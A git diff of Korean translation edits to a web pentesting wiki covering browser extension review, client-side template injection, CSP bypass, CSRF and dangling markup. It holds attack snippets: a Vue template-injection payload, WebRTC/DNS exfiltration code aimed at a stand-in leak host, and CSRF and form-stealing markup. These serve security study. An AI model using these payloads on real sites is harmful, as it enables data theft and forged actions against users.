[ ] **`host_permissions`**를 가능한 한 많이 **제한**합니다. - [ ] **강력한** **`content_security_policy`**를 사용합니다. -- [ ] 필요하지 않다면 **`externally_connectable`**을 가능한 한 많이 **제한**하고, 기본값으로 두지 말고 **`{}`**로 지정합니다. -- [ ] 여기에서 **XSS 또는 인수 취득에 취약한 URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다. +- [ ] 필요하지 않다면 **`externally_connectable`**를 가능한 한 많이 **제한**하고, 기본값으로 두지 말고 **`{}`**로 지정합니다. +- [ ] 여기에서 **XSS 또는 인수 취약한 URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다. - [ ] **`web_accessible_resources`**를 가능한 한 많이 **제한**합니다. 가능하다면 비워두세요. - [ ] **`web_accessible_resources`**가 없지 않다면, [**ClickJacking**](browext-clickjacking.md)을 확인합니다. - [ ] **확장 프로그램**에서 **웹 페이지**로 **통신**이 발생하면, **통신에서 발생한 XSS** [**취약점**](browext-xss-example.md)을 **확인합니다**. -- [ ] Post Messages가 사용된다면, [**Post Message 취약점**](../postmessage-vulnerabilities/)**을 확인합니다.** +- [ ] Post Messages가 사용된다면, [**Post Message 취약점**](../postmessage-vulnerabilities/index.html)**을 확인합니다.** - [ ] **Content Script가 DOM 세부정보에 접근**하는 경우, 웹에 의해 **수정**될 때 **XSS를 도입하지 않는지** 확인합니다. - [ ] 이 통신이 **Content Script -> Background script 통신**에 관련되어 있다면 특별히 강조합니다. - [ ] 백그라운드 스크립트가 **네이티브 메시징**을 통해 통신하는 경우, 통신이 안전하고 정제되었는지 확인합니다. @@ -665,27 +665,27 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt ### [**Tarnish**](https://thehackerblog.com/tarnish/) - 제공된 Chrome 웹스토어 링크에서 Chrome 확장을 가져옵니다. -- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **뷰어**: 확장의 매니페스트의 JSON 예쁘게 정리된 버전을 간단히 표시합니다. -- **지문 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)의 감지 및 Chrome 확장 지문 생성 JavaScript의 자동 생성. -- **잠재적 Clickjacking 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시어가 설정된 확장 HTML 페이지의 감지. 이러한 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다. +- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **뷰어**: 확장의 매니페스트의 JSON 예쁘게 포맷된 버전을 간단히 표시합니다. +- **지문 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 감지 및 Chrome 확장 지문 생성 JavaScript 자동 생성. +- **잠재적 Clickjacking 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시문이 설정된 확장 HTML 페이지 감지. 이러한 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다. - **권한 경고 뷰어**: 사용자가 확장을 설치하려고 할 때 표시될 Chrome 권한 프롬프트 경고 목록을 보여줍니다. - **위험한 함수**: 공격자가 악용할 수 있는 위험한 함수의 위치를 보여줍니다 (예: innerHTML, chrome.tabs.executeScript와 같은 함수). - **진입점**: 확장이 사용자/외부 입력을 받는 위치를 보여줍니다. 이는 확장의 표면적을 이해하고 악의적으로 조작된 데이터를 확장으로 보낼 수 있는 잠재적 지점을 찾는 데 유용합니다. - 위험한 함수 및 진입점 스캐너는 생성된 경고에 대해 다음을 포함합니다: - - 경고를 유발한 관련 코드 조각 및 줄. + - 경고를 유발한 관련 코드 스니펫 및 라인. - 문제 설명. - 코드를 포함하는 전체 소스 파일을 보기 위한 “파일 보기” 버튼. - 경고된 파일의 경로. - 경고된 파일의 전체 Chrome 확장 URI. - 파일 유형 (예: Background Page 스크립트, Content Script, Browser Action 등). - - 취약한 줄이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태. + - 취약한 라인이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태. - **Content Security Policy (CSP) 분석기 및 우회 검사기**: 확장의 CSP의 약점을 지적하고, 화이트리스트에 있는 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적 방법을 밝혀냅니다. - **알려진 취약한 라이브러리**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용하여 알려진 취약한 JavaScript 라이브러리의 사용 여부를 확인합니다. -- 확장 및 형식화된 버전 다운로드. +- 확장 및 포맷된 버전 다운로드. - 원본 확장 다운로드. -- 확장의 예쁘게 정리된 버전 다운로드 (자동으로 예쁘게 정리된 HTML 및 JavaScript). -- 스캔 결과의 자동 캐싱, 확장 스캔을 처음 실행할 때는 상당한 시간이 소요됩니다. 그러나 두 번째 실행 시 확장이 업데이트되지 않았다면 결과가 캐시되어 거의 즉시 완료됩니다. -- 링크 가능한 보고서 URL, 다른 사람에게 tarnish에서 생성된 확장 보고서에 쉽게 링크할 수 있습니다. +- 확장의 예쁘게 포맷된 버전 다운로드 (자동으로 예쁘게 포맷된 HTML 및 JavaScript). +- 스캔 결과의 자동 캐싱, 확장 스캔을 처음 실행할 때는 상당한 시간이 소요됩니다. 그러나 두 번째 실행 시, 확장이 업데이트되지 않았다면 결과가 캐시되어 거의 즉시 완료됩니다. +- 링크 가능한 보고서 URL, 다른 사람에게 tarnish가 생성한 확장 보고서에 쉽게 링크할 수 있습니다. ### [Neto](https://github.com/elevenpaths/neto) diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index b2ff9823b..92f84747f 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -4,9 +4,9 @@ ## 요약 -이는 **서버 사이드 템플릿 인젝션**([**Server Side Template Injection**](ssti-server-side-template-injection/))과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다. +이는 **서버 사이드 템플릿 인젝션**([**Server Side Template Injection**](ssti-server-side-template-injection/index.html))과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다. -이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않다면 원래의 `{{ 7-7 }}`가 표시됩니다. +이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않으면 원래의 `{{ 7-7 }}`가 표시됩니다. ## AngularJS @@ -41,7 +41,7 @@ A really good post on CSTI in VUE can be found in [https://portswigger.net/resea ``` {{_openBlock.constructor('alert(1)')()}} ``` -크레딧: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V2** ``` diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index fb76e3863..072e32365 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -6,7 +6,7 @@ Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)과 같은 공격으로부터 보호하기 위한** 브라우저 기술로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다. -CSP의 구현은 **응답 헤더**를 통해 또는 **HTML 페이지에 메타 요소를 포함시킴으로써** 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다. +CSP의 구현은 **응답 헤더**를 통해 또는 **HTML 페이지에 메타 요소를 포함시킴으로써** 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 즉시 감지된 위반을 차단합니다. - Implemented via response header: ``` @@ -25,7 +25,7 @@ CSP는 다음 헤더를 사용하여 시행되거나 모니터링될 수 있습 ### Defining Resources -CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 정책의 예는 다음과 같습니다: +CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 예시 정책은: ```bash default-src 'none'; img-src 'self'; @@ -39,38 +39,38 @@ object-src 'none'; ``` ### 지시어 -- **script-src**: JavaScript에 대한 특정 소스를 허용하며, URL, 인라인 스크립트 및 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거된 스크립트를 포함합니다. +- **script-src**: JavaScript에 대한 특정 출처를 허용하며, 여기에는 URL, 인라인 스크립트 및 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거된 스크립트가 포함됩니다. - **default-src**: 특정 가져오기 지시어가 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다. - **child-src**: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다. - **connect-src**: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다. - **frame-src**: 프레임에 대한 URL을 제한합니다. -- **frame-ancestors**: 현재 페이지를 포함할 수 있는 소스를 지정하며, ``, ` ``` -[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한하여 CSTI를 방지하는 스크립트를 비활성화할 수 있었고, 따라서 **취약점이 악용 가능해졌습니다.**\ -CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**하여 그들의 **nonce**를 허용하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다: +[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한적으로 설정할 수 있어 CSTI를 방지하는 스크립트가 비활성화되었고, 따라서 **취약점이 악용 가능해졌습니다.**\ +CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**하여 그들의 **nonce**를 허용하고 특정 인라인 스크립트를 sha를 통해 활성화할 수 있습니다: ```html ``` ### DNS Prefetch -페이지 로드를 더 빠르게 하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용하기 위해 캐시합니다.\ -브라우저에 호스트 이름을 미리 해결하도록 지시할 수 있습니다: `` +페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용하기 위해 캐시합니다.\ +브라우저에게 호스트 이름을 미리 해결하도록 지시할 수 있습니다: `` 이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출할 수 있습니다**: ```javascript @@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off 여러 페이지에서 **WebRTC가 CSP의 `connect-src` 정책을 확인하지 않는다**고 읽을 수 있습니다. -실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 이 코드를 확인해 보세요: +실제로 _DNS 요청_을 사용하여 정보를 _leak_할 수 있습니다. 이 코드를 확인해 보세요: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -688,7 +688,7 @@ p.createDataChannel("") p.setLocalDescription(await p.createOffer()) })() ``` -또 다른 옵션: +다른 옵션: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 39ff48cab..221568f63 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -10,9 +10,9 @@ CSRF 취약점을 악용하기 위해서는 여러 조건이 충족되어야 합니다: -1. **Identify a Valuable Action**: 공격자는 사용자의 비밀번호, 이메일 변경 또는 권한 상승과 같이 악용할 가치가 있는 행동을 찾아야 합니다. +1. **Identify a Valuable Action**: 공격자는 사용자의 비밀번호, 이메일 변경 또는 권한 상승과 같은 악용할 가치가 있는 행동을 찾아야 합니다. 2. **Session Management**: 사용자의 세션은 쿠키 또는 HTTP Basic Authentication 헤더를 통해서만 관리되어야 하며, 다른 헤더는 이 목적을 위해 조작할 수 없습니다. -3. **Absence of Unpredictable Parameters**: 요청에는 예측할 수 없는 매개변수가 포함되어서는 안 되며, 이는 공격을 방지할 수 있습니다. +3. **Absence of Unpredictable Parameters**: 요청에는 예측할 수 없는 매개변수가 포함되지 않아야 하며, 이는 공격을 방지할 수 있습니다. ### Quick Check @@ -43,7 +43,7 @@ Several countermeasures can be implemented to protect against CSRF attacks: ### Lack of token -애플리케이션은 **토큰이 존재할 때** 이를 **검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 포함하는 매개변수**를 제거하여 이를 악용할 수 있으며, 단순히 값만 제거하는 것이 아닙니다. 이를 통해 검증 프로세스를 우회하고 Cross-Site Request Forgery (CSRF) 공격을 효과적으로 수행할 수 있습니다. +애플리케이션은 **토큰이 존재할 때** 이를 **검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 포함하는 매개변수**를 제거하여 이를 악용할 수 있으며, 이는 CSRF 공격을 효과적으로 수행할 수 있게 합니다. ### CSRF token is not tied to the user session @@ -51,9 +51,9 @@ Several countermeasures can be implemented to protect against CSRF attacks: 공격자가 이를 악용하는 방법은 다음과 같습니다: -1. **Authenticate** using their own account. -2. **Obtain a valid CSRF token** from the global pool. -3. **Use this token** in a CSRF attack against a victim. +1. **Authenticate** 자신의 계정을 사용하여 인증합니다. +2. **Obtain a valid CSRF token** 전역 풀에서 유효한 CSRF 토큰을 얻습니다. +3. **Use this token** 피해자에 대한 CSRF 공격에 이 토큰을 사용합니다. 이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하며, 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용합니다. @@ -76,7 +76,7 @@ Several countermeasures can be implemented to protect against CSRF attacks: ### CSRF token is verified by a cookie -애플리케이션은 CSRF 보호를 위해 쿠키와 요청 매개변수 모두에 토큰을 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 검증할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다. +애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 검증할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다. 그러나 이 방법은 웹사이트에 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다. @@ -103,7 +103,7 @@ onerror="document.forms[0].submit();" /> ``` > [!NOTE] -> csrf 토큰이 세션 쿠키와 관련되어 있다면 이 공격은 작동하지 않습니다. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다. +> **csrf 토큰이 세션 쿠키와 관련이 있다면 이 공격은 작동하지 않습니다**. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다. ### Content-Type 변경 @@ -113,7 +113,7 @@ onerror="document.forms[0].submit();" /> - **`multipart/form-data`** - **`text/plain`** -그러나 사용된 **Content-Type**에 따라 **서버의 로직이 다를 수** 있으므로 언급된 값과 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._와 같은 다른 값도 시도해 보아야 합니다. +그러나 사용된 **Content-Type**에 따라 **서버의 로직이 다를 수 있습니다**. 따라서 언급된 값과 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._와 같은 다른 값들을 시도해 보아야 합니다. 예시 (from [here](https://brycec.me/posts/corctf_2021_challenges))는 text/plain으로 JSON 데이터를 전송하는 방법입니다: ```html @@ -189,7 +189,7 @@ document.forms[0].submit() ``` ### **HEAD 메서드 우회** -[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 응답 본문 없이 GET 요청으로 처리하도록 설정되어** 있다고 설명합니다. 이는 Oak에만 국한되지 않는 일반적인 우회 방법입니다. HEAD 요청을 처리하는 특정 핸들러 대신, 요청은 단순히 **GET 핸들러로 전달되지만 앱은 응답 본문을 제거합니다**. +[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 응답 본문 없이 GET 요청으로 처리하도록 설정되어 있다**고 설명합니다. 이는 Oak에만 국한되지 않는 일반적인 우회 방법입니다. HEAD 요청을 처리하는 특정 핸들러 대신, 단순히 **GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다**. 따라서 GET 요청이 제한되고 있다면, **GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다**. @@ -197,7 +197,7 @@ document.forms[0].submit() ### **CSRF 토큰 추출** -**CSRF 토큰**이 **방어** 수단으로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/) 취약점을 악용하여 **추출을 시도할 수 있습니다**. +**CSRF 토큰**이 **방어** 수단으로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 취약점을 악용하여 **추출을 시도할 수 있습니다**. ### **HTML 태그를 사용한 GET** ```xml @@ -205,7 +205,7 @@ document.forms[0].submit()

404 - Page not found

The URL you are requesting is no longer available ``` -자동으로 GET 요청을 보내는 데 사용할 수 있는 다른 HTML5 태그는 다음과 같습니다: +자동으로 GET 요청을 보내는 데 사용할 수 있는 다른 HTML5 태그는: ```html @@ -234,7 +234,7 @@ background: url("..."); ``` -### GET 요청 폼 +### 폼 GET 요청 ```html @@ -397,7 +397,7 @@ document.getElementById("formulario").submit() ``` -### **CSRF 토큰 훔치기 및 POST 요청 전송** +### **CSRF 토큰 훔치기 및 POST 요청 보내기** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() @@ -535,7 +535,7 @@ height="600" width="800"> ``` -### **POSTSteal CSRF 토큰을 Ajax로 가져오고 폼으로 POST 전송** +### **POSTAjax를 사용하여 CSRF 토큰을 훔치고 폼으로 POST 전송하기** ```html
@import//hackvertor.co.uk? <--- Injected steal me!; @@ -41,7 +41,7 @@ steal me'test ```html ``` -그럼, 데이터가 경로로 전송되는 폼(``)은 악성 도메인으로 데이터를 전송하게 됩니다. +그런 다음, 데이터를 경로로 보내는 폼(``)은 악성 도메인으로 데이터를 보냅니다. ### 폼 훔치기 2 @@ -57,7 +57,7 @@ I get consumed! ``` 공격자는 이를 사용하여 정보를 훔칠 수 있습니다. -[**이 공격의 예를 이 문서에서 찾아보세요**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). +[**이 공격의 예를 이 문서에서 찾으세요**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). ### 평문 비밀 훔치기 2 @@ -65,7 +65,7 @@ I get consumed! ```html ` 태그를 주입하여 동일한 작업을 수행할 수 있습니다. 닫힌 ``이 발견될 때까지 모든 데이터가 전송됩니다: ```html @@ -90,7 +90,7 @@ I get consumed! ``는 브라우저가 자바스크립트를 지원하지 않을 경우 그 내용을 해석하는 태그입니다 (Chrome에서 자바스크립트를 [chrome://settings/content/javascript](chrome://settings/content/javascript)에서 활성화/비활성화할 수 있습니다). -공격자가 제어하는 사이트로 주입 지점에서 하단까지 웹 페이지의 내용을 유출하는 방법은 다음을 주입하는 것입니다: +공격자가 제어하는 사이트로 주입 지점에서 페이지의 내용을 하단까지 유출하는 방법은 다음을 주입하는 것입니다: ```html